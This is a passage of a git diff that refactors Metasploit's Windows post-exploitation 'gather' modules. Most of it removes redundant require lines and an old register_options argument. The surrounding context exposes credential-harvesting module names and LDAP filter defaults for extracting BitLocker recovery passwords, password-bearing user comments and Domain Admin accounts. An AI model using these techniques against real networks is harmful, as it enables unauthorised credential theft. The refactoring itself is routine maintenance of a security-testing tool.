402e30f37b..3805f1b306 100644 --- a/modules/post/windows/gather/credentials/smartermail.rb +++ b/modules/post/windows/gather/credentials/smartermail.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/auxiliary/report' class MetasploitModule < Msf::Post diff --git a/modules/post/windows/gather/credentials/smartftp.rb b/modules/post/windows/gather/credentials/smartftp.rb index be08299ad5..0b90b93501 100644 --- a/modules/post/windows/gather/credentials/smartftp.rb +++ b/modules/post/windows/gather/credentials/smartftp.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' -require 'rex' require 'rexml/document' class MetasploitModule < Msf::Post diff --git a/modules/post/windows/gather/credentials/spark_im.rb b/modules/post/windows/gather/credentials/spark_im.rb index 7e69b7b3e6..935898d7da 100644 --- a/modules/post/windows/gather/credentials/spark_im.rb +++ b/modules/post/windows/gather/credentials/spark_im.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' require 'openssl' class MetasploitModule < Msf::Post diff --git a/modules/post/windows/gather/credentials/sso.rb b/modules/post/windows/gather/credentials/sso.rb index a34818869f..e9aedf4e15 100644 --- a/modules/post/windows/gather/credentials/sso.rb +++ b/modules/post/windows/gather/credentials/sso.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/post/windows/priv' class MetasploitModule < Msf::Post diff --git a/modules/post/windows/gather/credentials/steam.rb b/modules/post/windows/gather/credentials/steam.rb index a1a0ab3ce5..6607907337 100644 --- a/modules/post/windows/gather/credentials/steam.rb +++ b/modules/post/windows/gather/credentials/steam.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Post include Msf::Post::File diff --git a/modules/post/windows/gather/credentials/tortoisesvn.rb b/modules/post/windows/gather/credentials/tortoisesvn.rb index 27ebffe316..95fe6fb1ff 100644 --- a/modules/post/windows/gather/credentials/tortoisesvn.rb +++ b/modules/post/windows/gather/credentials/tortoisesvn.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' require 'msf/core/auxiliary/report' class MetasploitModule < Msf::Post diff --git a/modules/post/windows/gather/credentials/total_commander.rb b/modules/post/windows/gather/credentials/total_commander.rb index 51e71c843d..47bf382c01 100644 --- a/modules/post/windows/gather/credentials/total_commander.rb +++ b/modules/post/windows/gather/credentials/total_commander.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' require 'rex/parser/ini' require 'msf/core/auxiliary/report' diff --git a/modules/post/windows/gather/credentials/trillian.rb b/modules/post/windows/gather/credentials/trillian.rb index 5ef6f52e98..49798cfecb 100644 --- a/modules/post/windows/gather/credentials/trillian.rb +++ b/modules/post/windows/gather/credentials/trillian.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' require 'rex/parser/ini' require 'msf/core/auxiliary/report' diff --git a/modules/post/windows/gather/credentials/vnc.rb b/modules/post/windows/gather/credentials/vnc.rb index 93d3ca7714..4120088e94 100644 --- a/modules/post/windows/gather/credentials/vnc.rb +++ b/modules/post/windows/gather/credentials/vnc.rb @@ -5,8 +5,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' require 'msf/core/auxiliary/report' require 'rex/proto/rfb' diff --git a/modules/post/windows/gather/credentials/windows_autologin.rb b/modules/post/windows/gather/credentials/windows_autologin.rb index ea3ebf955c..0cf6f1170f 100644 --- a/modules/post/windows/gather/credentials/windows_autologin.rb +++ b/modules/post/windows/gather/credentials/windows_autologin.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/auxiliary/report' class MetasploitModule < Msf::Post diff --git a/modules/post/windows/gather/credentials/winscp.rb b/modules/post/windows/gather/credentials/winscp.rb index 5829fd7db9..844aa670f8 100644 --- a/modules/post/windows/gather/credentials/winscp.rb +++ b/modules/post/windows/gather/credentials/winscp.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' require 'rex/parser/ini' require 'rex/parser/winscp' require 'msf/core/auxiliary/report' diff --git a/modules/post/windows/gather/credentials/wsftp_client.rb b/modules/post/windows/gather/credentials/wsftp_client.rb index 59a409ef73..d6e033c727 100644 --- a/modules/post/windows/gather/credentials/wsftp_client.rb +++ b/modules/post/windows/gather/credentials/wsftp_client.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' require 'rex/parser/ini' require 'msf/core/auxiliary/report' diff --git a/modules/post/windows/gather/dumplinks.rb b/modules/post/windows/gather/dumplinks.rb index 58843c819b..ca6523e52e 100644 --- a/modules/post/windows/gather/dumplinks.rb +++ b/modules/post/windows/gather/dumplinks.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Post include Msf::Post::Windows::Priv diff --git a/modules/post/windows/gather/enum_ad_bitlocker.rb b/modules/post/windows/gather/enum_ad_bitlocker.rb index bce46a3283..ad6643a7a5 100644 --- a/modules/post/windows/gather/enum_ad_bitlocker.rb +++ b/modules/post/windows/gather/enum_ad_bitlocker.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'rex' -require 'msf/core' require 'msf/core/auxiliary/report' class MetasploitModule < Msf::Post @@ -32,7 +30,7 @@ class MetasploitModule < Msf::Post OptBool.new('STORE_LOOT', [true, 'Store file in loot.', true]), OptString.new('FIELDS', [true, 'FIELDS to retrieve.', 'distinguishedName,msFVE-RecoveryPassword']), OptString.new('FILTER', [true, 'Search filter.', '(objectClass=msFVE-RecoveryInformation)']) - ], self.class) + ]) end def run diff --git a/modules/post/windows/gather/enum_ad_computers.rb b/modules/post/windows/gather/enum_ad_computers.rb index e50debd17a..b6d3568ad9 100644 --- a/modules/post/windows/gather/enum_ad_computers.rb +++ b/modules/post/windows/gather/enum_ad_computers.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'rex' -require 'msf/core' require 'msf/core/auxiliary/report' class MetasploitModule < Msf::Post @@ -53,7 +51,7 @@ class MetasploitModule < Msf::Post OptBool.new('STORE_DB', [true, 'Store file in DB (performance hit resolving IPs).', false]), OptString.new('FIELDS', [true, 'FIELDS to retrieve.', 'dNSHostName,distinguishedName,description,operatingSystem,operatingSystemServicePack']), OptString.new('FILTER', [true, 'Search filter.', '(&(objectCategory=computer)(operatingSystem=*server*))']) - ], self.class) + ]) end def run diff --git a/modules/post/windows/gather/enum_ad_groups.rb b/modules/post/windows/gather/enum_ad_groups.rb index 7c42e12b07..d143851319 100644 --- a/modules/post/windows/gather/enum_ad_groups.rb +++ b/modules/post/windows/gather/enum_ad_groups.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'rex' -require 'msf/core' - class MetasploitModule < Msf::Post include Msf::Auxiliary::Report include Msf::Post::Windows::LDAP @@ -33,7 +30,7 @@ class MetasploitModule < Msf::Post register_options([ OptString.new('ADDITIONAL_FIELDS', [false, 'Additional fields to retrieve, comma separated', nil]), OptString.new('FILTER', [false, 'Customised LDAP filter', nil]) - ], self.class) + ]) end def run diff --git a/modules/post/windows/gather/enum_ad_managedby_groups.rb b/modules/post/windows/gather/enum_ad_managedby_groups.rb index 4c01de8ffe..2dfccfc604 100644 --- a/modules/post/windows/gather/enum_ad_managedby_groups.rb +++ b/modules/post/windows/gather/enum_ad_managedby_groups.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'rex' -require 'msf/core' - class MetasploitModule < Msf::Post include Msf::Auxiliary::Report include Msf::Post::Windows::LDAP @@ -39,7 +36,7 @@ class MetasploitModule < Msf::Post OptString.new('ADDITIONAL_FIELDS', [false, 'Additional group fields to retrieve, comma separated.', nil]), OptBool.new('RESOLVE_MANAGERS', [true, 'Query LDAP to get the account name of group managers.', true]), OptBool.new('SECURITY_GROUPS_ONLY', [true, 'Only include security groups.', true]) - ], self.class) + ]) end def run diff --git a/modules/post/windows/gather/enum_ad_service_principal_names.rb b/modules/post/windows/gather/enum_ad_service_principal_names.rb index 49ac4eeac9..ac1e9d8417 100644 --- a/modules/post/windows/gather/enum_ad_service_principal_names.rb +++ b/modules/post/windows/gather/enum_ad_service_principal_names.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'rex' -require 'msf/core' require 'msf/core/auxiliary/report' class MetasploitModule < Msf::Post @@ -35,7 +33,7 @@ class MetasploitModule < Msf::Post register_options([ OptString.new('FILTER', [true, 'Search filter, DOM_REPL will be automatically replaced', '(&(objectCategory=user)(memberOf=CN=Domain Admins,CN=Users,DOM_REPL))']) - ], self.class) + ]) deregister_options('FIELDS') end diff --git a/modules/post/windows/gather/enum_ad_to_wordlist.rb b/modules/post/windows/gather/enum_ad_to_wordlist.rb index 6da00f76ad..f039f318bf 100644 --- a/modules/post/windows/gather/enum_ad_to_wordlist.rb +++ b/modules/post/windows/gather/enum_ad_to_wordlist.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'rex' -require 'msf/core' - class MetasploitModule < Msf::Post include Msf::Auxiliary::Report @@ -47,7 +44,7 @@ class MetasploitModule < Msf::Post register_options([ OptString.new('FIELDS', [true, 'Fields to retrieve (ie, sn, givenName, displayName, description, comment)', DEFAULT_FIELDS.join(',')]), OptString.new('FILTER', [true, 'Search filter.','(&(objectClass=organizationalPerson)(objectClass=user)(objectClass=person)(!(objectClass=computer)))']) - ], self.class) + ]) end def run diff --git a/modules/post/windows/gather/enum_ad_user_comments.rb b/modules/post/windows/gather/enum_ad_user_comments.rb index db910276f2..02d043963f 100644 --- a/modules/post/windows/gather/enum_ad_user_comments.rb +++ b/modules/post/windows/gather/enum_ad_user_comments.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'rex' -require 'msf/core' - class MetasploitModule < Msf::Post include Msf::Auxiliary::Report @@ -33,7 +30,7 @@ class MetasploitModule < Msf::Post OptBool.new('STORE_LOOT', [true, 'Store file in loot.', false]), OptString.new('FIELDS', [true, 'Fields to retrieve.','userPrincipalName,sAMAccountName,userAccountControl,comment,description']), OptString.new('FILTER', [true, 'Search filter.','(&(&(objectCategory=person)(objectClass=user))(|(description=*pass*)(comment=*pass*)))']), - ], self.class) + ]) end def run diff --git a/modules/post/windows/gather/enum_ad_users.rb b/modules/post/windows/gather/enum_ad_users.rb index 8db942c04c..3cf662be9c 100644 --- a/modules/post/windows/gather/enum_ad_users.rb +++ b/modules/post/windows/gather/enum_ad_users.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'rex' -require 'msf/core' - class MetasploitModule < Msf::Post include Msf::Auxiliary::Report include Msf::Post::Windows::LDAP @@ -58,7 +55,7 @@ class MetasploitModule < Msf::Post 'SMARTCARD_REQUIRED', 'NEVER_LOGGEDON' ]]) - ], self.class) + ]) end def run diff --git a/modules/post/windows/gather/enum_applications.rb b/modules/post/windows/gather/enum_applications.rb index f8569e3c99..224ddb3689 100644 --- a/modules/post/windows/gather/enum_applications.rb +++ b/modules/post/windows/gather/enum_applications.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Post include Msf::Post::Windows::Registry diff --git a/modules/post/windows/gather/enum_artifacts.rb b/modules/post/windows/gather/enum_artifacts.rb index f07817d3c8..a5c0470802 100644 --- a/modules/post/windows/gather/enum_artifacts.rb +++ b/modules/post/windows/gather/enum_artifacts.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'rex' -require 'msf/core' require 'yaml' require 'msf/core/auxiliary/report' @@ -35,7 +33,7 @@ class MetasploitModule < Msf::Post 'Full path to artifacts file.', ::File.join(Msf::Config.data_directory, 'post', 'enum_artifacts_list.txt') ]) - ], self.class) + ]) end def run diff --git a/modules/post/windows/gather/enum_av_excluded.rb b/modules/post/windows/gather/enum_av_excluded.rb index 7a8dca21a9..0e1d39b089 100644 --- a/modules/post/windows/gather/enum_av_excluded.rb +++ b/modules/post/windows/gather/enum_av_excluded.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Post include Msf::Post::Windows::Registry diff --git a/modules/post/windows/gather/enum_chrome.rb b/modules/post/windows/gather/enum_chrome.rb index dd0d87f054..68dbd73a57 100644 --- a/modules/post/windows/gather/enum_chrome.rb +++ b/modules/post/windows/gather/enum_chrome.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Post include Msf::Post::File @@ -33,7 +30,7 @@ class MetasploitModule < Msf::Post register_options( [ OptBool.new('MIGRATE', [false, 'Automatically migrate to explorer.exe', false]), - ], self.class) + ]) end def extension_mailvelope_parse_key(data) diff --git a/modules/post/windows/gather/enum_computers.rb b/modules/post/windows/gather/enum_computers.rb index 5d44cc4014..ed19041bb0 100644 --- a/modules/post/windows/gather/enum_computers.rb +++ b/modules/post/windows/gather/enum_computers.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Post include Msf::Post::File diff --git a/modules/post/windows/gather/enum_db.rb b/modules/post/windows/gather/enum_db.rb index 1b764d56b2..21e4d7f96d 100644 --- a/modules/post/windows/gather/enum_db.rb +++ b/modules/post/windows/gather/enum_db.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'rex' -require 'msf/core' require 'msf/core/auxiliary/report' class MetasploitModule < Msf::Post diff --git a/modules/post/windows/gather/enum_devices.rb b/modules/post/windows/gather/enum_devices.rb index 94a93d587a..3fd0afa16c 100644 --- a/modules/post/windows/gather/enum_devices.rb +++ b/modules/post/windows/gather/enum_devices.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Post include Msf::Post::Windows::Registry diff --git a/modules/post/windows/gather/enum_dirperms.rb b/modules/post/windows/gather/enum_dirperms.rb index f92c1f433b..7fb355dd18 100644 --- a/modules/post/windows/gather/enum_dirperms.rb +++ b/modules/post/windows/gather/enum_dirperms.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Post include Msf::Post::Windows::Accounts @@ -34,7 +32,7 @@ class MetasploitModule < Msf::Post OptString.new('PATH', [ false, 'Directory to begin search from', '']), OptEnum.new('FILTER', [ false, 'Filter to limit results by', 'NA', [ 'NA', 'R', 'W', 'RW' ]]), OptInt.new('DEPTH', [ true, 'Depth to drill down into subdirs, O = no limit',0]), - ], self.class) + ]) end def enum_subdirs(perm_filter, dpath, maxdepth, token) diff --git a/modules/post/windows/gather/enum_domain.rb b/modules/post/windows/gather/enum_domain.rb index 5e0c8a0832..645dc9f19d 100644 --- a/modules/post/windows/gather/enum_domain.rb +++ b/modules/post/windows/gather/enum_domain.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Post include Msf::Post::Windows::Priv diff --git a/modules/post/windows/gather/enum_domain_group_users.rb b/modules/post/windows/gather/enum_domain_group_users.rb index 5d0f6a1414..6accaa874f 100644 --- a/modules/post/windows/gather/enum_domain_group_users.rb +++ b/modules/post/windows/gather/enum_domain_group_users.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Post def initialize(info = {}) super(update_info(info, @@ -27,7 +24,7 @@ class MetasploitModule < Msf::Post register_options( [ OptString.new('GROUP', [true, 'Domain Group to enumerate', nil]) - ], self.class) + ]) end # Run Method for when run command is issued diff --git a/modules/post/windows/gather/enum_domain_tokens.rb b/modules/post/windows/gather/enum_domain_tokens.rb index ae73390c4c..143264dc43 100644 --- a/modules/post/windows/gather/enum_domain_tokens.rb +++ b/modules/post/windows/gather/enum_domain_tokens.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Post include Msf::Post::File diff --git a/modules/post/windows/gather/enum_domain_users.rb b/modules/post/windows/gather/enum_domain_users.rb index 11077706ad..c277464d59 100644 --- a/modules/post/windows/gather/enum_domain_users.rb +++ b/modules/post/windows/gather/enum_domain_users.rb @@ -1,5 +1,3 @@ -require 'msf/core' -require 'rex' require 'msf/core/post/common' require 'msf/core/post/windows/registry' require 'msf/core/post/windows/netapi' @@ -32,7 +30,7 @@ class MetasploitModule < Msf::Post [ OptString.new('USER', [false, 'Target User for NetSessionEnum']), OptString.new('HOST', [false, 'Target a specific host']), - ], self.class) + ]) end def run diff --git a/modules/post/windows/gather/enum_domains.rb b/modules/post/windows/gather/enum_domains.rb index 01cbeb914e..e0e607b132 100644 --- a/modules/post/windows/gather/enum_domains.rb +++ b/modules/post/windows/gather/enum_domains.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' require 'msf/core/post/windows/netapi' class MetasploitModule < Msf::Post diff --git a/modules/post/windows/gather/enum_emet.rb b/modules/post/windows/gather/enum_emet.rb index 39693acae1..008ee705ec 100644 --- a/modules/post/windows/gather/enum_emet.rb +++ b/modules/post/windows/gather/enum_emet.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' require 'msf/core/post/common' class MetasploitModule < Msf::Post diff --git a/modules/post/windows/gather/enum_files.rb b/modules/post/windows/gather/enum_files.rb index 46215718fe..b271657030 100644 --- a/modules/post/windows/gather/enum_files.rb +++ b/modules/post/windows/gather/enum_files.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/auxiliary/report' class MetasploitModule < Msf::Post @@ -31,7 +30,7 @@ class MetasploitModule < Msf::Post [ OptString.new('SEARCH_FROM', [ false, 'Search from a specific location. Ex. C:\\']), OptString.new('FILE_GLOBS', [ true, 'The file pattern to search for in a filename', '*.config']) - ], self.class) + ]) end diff --git a/modules/post/windows/gather/enum_hostfile.rb b/modules/post/windows/gather/enum_hostfile.rb index 3053a9d4a9..f65de9d141 100644 --- a/modules/post/windows/gather/enum_hostfile.rb +++ b/modules/post/windows/gather/enum_hostfile.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Post def initialize(info={}) diff --git a/modules/post/windows/gather/enum_ie.rb b/modules/post/windows/gather/enum_ie.rb index 3842284c8b..8263f04348 100644 --- a/modules/post/windows/gather/enum_ie.rb +++ b/modules/post/windows/gather/enum_ie.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Post include Msf::Post::File diff --git a/modules/post/windows/gather/enum_logged_on_users.rb b/modules/post/windows/gather/enum_logged_on_users.rb index 34a547a81b..850dff32e6 100644 --- a/modules/post/windows/gather/enum_logged_on_users.rb +++ b/modules/post/windows/gather/enum_logged_on_users.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Post include Msf::Post::Windows::Registry @@ -24,7 +21,7 @@ class MetasploitModule < Msf::Post [ OptBool.new('CURRENT', [ true, 'Enumerate currently logged on users', true]), OptBool.new('RECENT' , [ true, 'Enumerate Recently logged on users' , true]) - ], self.class) + ]) end diff --git a/modules/post/windows/gather/enum_ms_product_keys.rb b/modules/post/windows/gather/enum_ms_product_keys.rb index 29d64aa071..c7b845000d 100644 --- a/modules/post/windows/gather/enum_ms_product_keys.rb +++ b/modules/post/windows/gather/enum_ms_product_keys.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Post include Msf::Post::Windows::Registry diff --git a/modules/post/windows/gather/enum_muicache.rb b/modules/post/windows/gather/enum_muicache.rb index edcfffc8e3..151d19bc67 100644 --- a/modules/post/windows/gather/enum_muicache.rb +++ b/modules/post/windows/gather/enum_muicache.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'rex' -require 'msf/core' require 'rex/registry' class MetasploitModule < Msf::Post diff --git a/modules/post/windows/gather/enum_patches.rb b/modules/post/windows/gather/enum_patches.rb index 2940456b5c..4dfe23bd82 100644 --- a/modules/post/windows/gather/enum_patches.rb +++ b/modules/post/windows/gather/enum_patches.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'msf/core/post/common' require 'msf/core/post/windows/extapi' @@ -46,7 +45,7 @@ class MetasploitModule < Msf::Post [ OptBool.new('MSFLOCALS', [ true, 'Search for missing patchs for which there is a MSF local module', true]), OptString.new('KB', [ true, 'A comma separated list of KB patches to search for', 'KB2871997, KB2928120']) - ], self.class) + ]) end # The sauce starts here diff --git a/modules/post/windows/gather/enum_powershell_env.rb b/modules/post/windows/gather/enum_powershell_env.rb index 4a61411ee9..15e2d81df9 100644 --- a/modules/post/windows/gather/enum_powershell_env.rb +++ b/modules/post/windows/gather/enum_powershell_env.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Post include Msf::Post::Windows::Registry diff --git a/modules/post/windows/gather/enum_prefetch.rb b/modules/post/windows/gather/enum_prefetch.rb index 3a5883b0e3..e2839d99dd 100644 --- a/modules/post/windows/gather/enum_prefetch.rb +++ b/modules/post/windows/gather/enum_prefetch.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'rex' -require 'msf/core' - class MetasploitModule < Msf::Post include Msf::Post::File include Msf::Post::Windows::Priv diff --git a/modules/post/windows/gather/enum_proxy.rb b/modules/post/windows/gather/enum_proxy.rb index eec20ad528..f103d44858 100644 --- a/modules/post/windows/gather/enum_proxy.rb +++ b/modules/post/windows/gather/enum_proxy.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Post include Post::Windows::Services @@ -27,7 +25,7 @@ class MetasploitModule < Msf::Post [ OptAddress.new('RHOST', [ false, 'Remote host to clone settings to, defaults to local' ]), OptString.new('SID', [ false, 'SID of user to clone settings to (SYSTEM is S-1-5-18)' ]) - ], self.class) + ]) end def run diff --git a/modules/post/windows/gather/enum_putty_saved_sessions.rb b/modules/post/windows/gather/enum_putty_saved_sessions.rb index 1fe9123a88..d08996a393 100644 --- a/modules/post/windows/gather/enum_putty_saved_sessions.rb +++ b/modules/post/windows/gather/enum_putty_saved_sessions.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/post/windows/priv' require 'msf/core/post/common' require 'msf/core/post/windows/registry' diff --git a/modules/post/windows/gather/enum_services.rb b/modules/post/windows/gather/enum_services.rb index ac61c3737f..71a0d04525 100644 --- a/modules/post/windows/gather/enum_services.rb +++ b/modules/post/windows/gather/enum_services.rb @@ -4,9 +4,6 @@ ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Post include Msf::Post::Windows::Services @@ -34,7 +31,7 @@ class MetasploitModule < Msf::Post OptString.new('CRED', [ false, 'String to search credentials for' ]), OptString.new('PATH', [ false, 'String to search path for' ]), OptEnum.new('TYPE', [true, 'Service startup Option', 'All', ['All', 'Auto', 'Manual', 'Disabled' ]]) - ], self.class) + ]) end diff --git a/modules/post/windows/gather/enum_shares.rb b/modules/post/windows/gather/enum_shares.rb index c3e144e7f5..78808cf7cb 100644 --- a/modules/post/windows/gather/enum_shares.rb +++ b/modules/post/windows/gather/enum_shares.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Post include Msf::Post::Windows::Registry @@ -25,7 +22,7 @@ class MetasploitModule < Msf::Post OptBool.new("CURRENT" , [ true, "Enumerate currently configured shares" , true]), OptBool.new("RECENT" , [ true, "Enumerate Recently mapped shares" , true]), OptBool.new("ENTERED" , [ true, "Enumerate Recently entered UNC Paths in the Run Dialog" , true]) - ], self.class) + ]) end diff --git a/modules/post/windows/gather/enum_snmp.rb b/modules/post/windows/gather/enum_snmp.rb index ff06d177f3..cca354aa7f 100644 --- a/modules/post/windows/gather/enum_snmp.rb +++ b/modules/post/windows/gather/enum_snmp.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' require 'msf/core/auxiliary/report' diff --git a/modules/post/windows/gather/enum_termserv.rb b/modules/post/windows/gather/enum_termserv.rb index 96369e9065..cd02134e9e 100644 --- a/modules/post/windows/gather/enum_termserv.rb +++ b/modules/post/windows/gather/enum_termserv.rb @@ -5,8 +5,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' require 'msf/core/auxiliary/report' diff --git a/modules/post/windows/gather/enum_tokens.rb b/modules/post/windows/gather/enum_tokens.rb index 28272d42cd..4b26be9f2f 100644 --- a/modules/post/windows/gather/enum_tokens.rb +++ b/modules/post/windows/gather/enum_tokens.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Post include Msf::Post::Windows::Priv @@ -27,7 +25,7 @@ class MetasploitModule < Msf::Post register_options( [ OptBool.new('GETSYSTEM', [ true, 'Attempt to get SYSTEM privilege on the target host.', true]) - ], self.class) + ]) end def get_system diff --git a/modules/post/windows/gather/enum_tomcat.rb b/modules/post/windows/gather/enum_tomcat.rb index a5040f31f6..43837d2986 100644 --- a/modules/post/windows/gather/enum_tomcat.rb +++ b/modules/post/windows/gather/enum_tomcat.rb @@ -3,9 +3,7 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'rex' require 'rexml/document' -require 'msf/core' require 'msf/core/auxiliary/report' class MetasploitModule < Msf::Post diff --git a/modules/post/windows/gather/enum_trusted_locations.rb b/modules/post/windows/gather/enum_trusted_locations.rb index 7d0e0cc09d..413b1f44a2 100644 --- a/modules/post/windows/gather/enum_trusted_locations.rb +++ b/modules/post/windows/gather/enum_trusted_locations.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' require 'msf/core/post/common' class MetasploitModule < Msf::Post diff --git a/modules/post/windows/gather/enum_unattend.rb b/modules/post/windows/gather/enum_unattend.rb index 348e8886f9..eaa16f4518 100644 --- a/modules/post/windows/gather/enum_unattend.rb +++ b/modules/post/windows/gather/enum_unattend.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'rex/parser/unattend' require 'rexml/document' @@ -39,7 +38,7 @@ class MetasploitModule < Msf::Post register_options( [ OptBool.new('GETALL', [true, 'Collect all unattend.xml that are found', true]) - ], self.class) + ]) end diff --git a/modules/post/windows/gather/file_from_raw_ntfs.rb b/modules/post/windows/gather/file_from_raw_ntfs.rb index d48f1f77ef..8f978d528b 100644 --- a/modules/post/windows/gather/file_from_raw_ntfs.rb +++ b/modules/post/windows/gather/file_from_raw_ntfs.rb @@ -31,7 +31,7 @@ class MetasploitModule < Msf::Post register_options( [ OptString.new('FILE_PATH', [true, 'The FILE_PATH to retreive from the Volume raw device', nil]) - ], self.class) + ]) end def run diff --git a/modules/post/windows/gather/forensics/browser_history.rb b/modules/post/windows/gather/forensics/browser_history.rb index fc8f75b4d1..a167a56e0f 100644 --- a/modules/post/windows/gather/forensics/browser_history.rb +++ b/modules/post/windows/gather/forensics/browser_history.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' require 'csv' require 'msf/core/post/windows/user_profiles' require 'msf/core/post/windows/registry' diff --git a/modules/post/windows/gather/forensics/duqu_check.rb b/modules/post/windows/gather/forensics/duqu_check.rb index 95db9869cf..40d0cfdae1 100644 --- a/modules/post/windows/gather/forensics/duqu_check.rb +++ b/modules/post/windows/gather/forensics/duqu_check.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/auxiliary/report' class MetasploitModule < Msf::Post diff --git a/modules/post/windows/gather/forensics/enum_drives.rb b/modules/post/windows/gather/forensics/enum_drives.rb index a1bc92dd3b..7519c3bc0f 100644 --- a/modules/post/windows/gather/forensics/enum_drives.rb +++ b/modules/post/windows/gather/forensics/enum_drives.rb @@ -25,7 +25,7 @@ class MetasploitModule < Msf::Post register_options( [ OptInt.new('MAXDRIVES',[false,'Maximum physical drive number',10]) - ], self.class) + ]) end def print_device(devname) diff --git a/modules/post/windows/gather/forensics/imager.rb b/modules/post/windows/gather/forensics/imager.rb index 9245efeb0d..6b7875bcbc 100644 --- a/modules/post/windows/gather/forensics/imager.rb +++ b/modules/post/windows/gather/forensics/imager.rb @@ -33,7 +33,7 @@ class MetasploitModule < 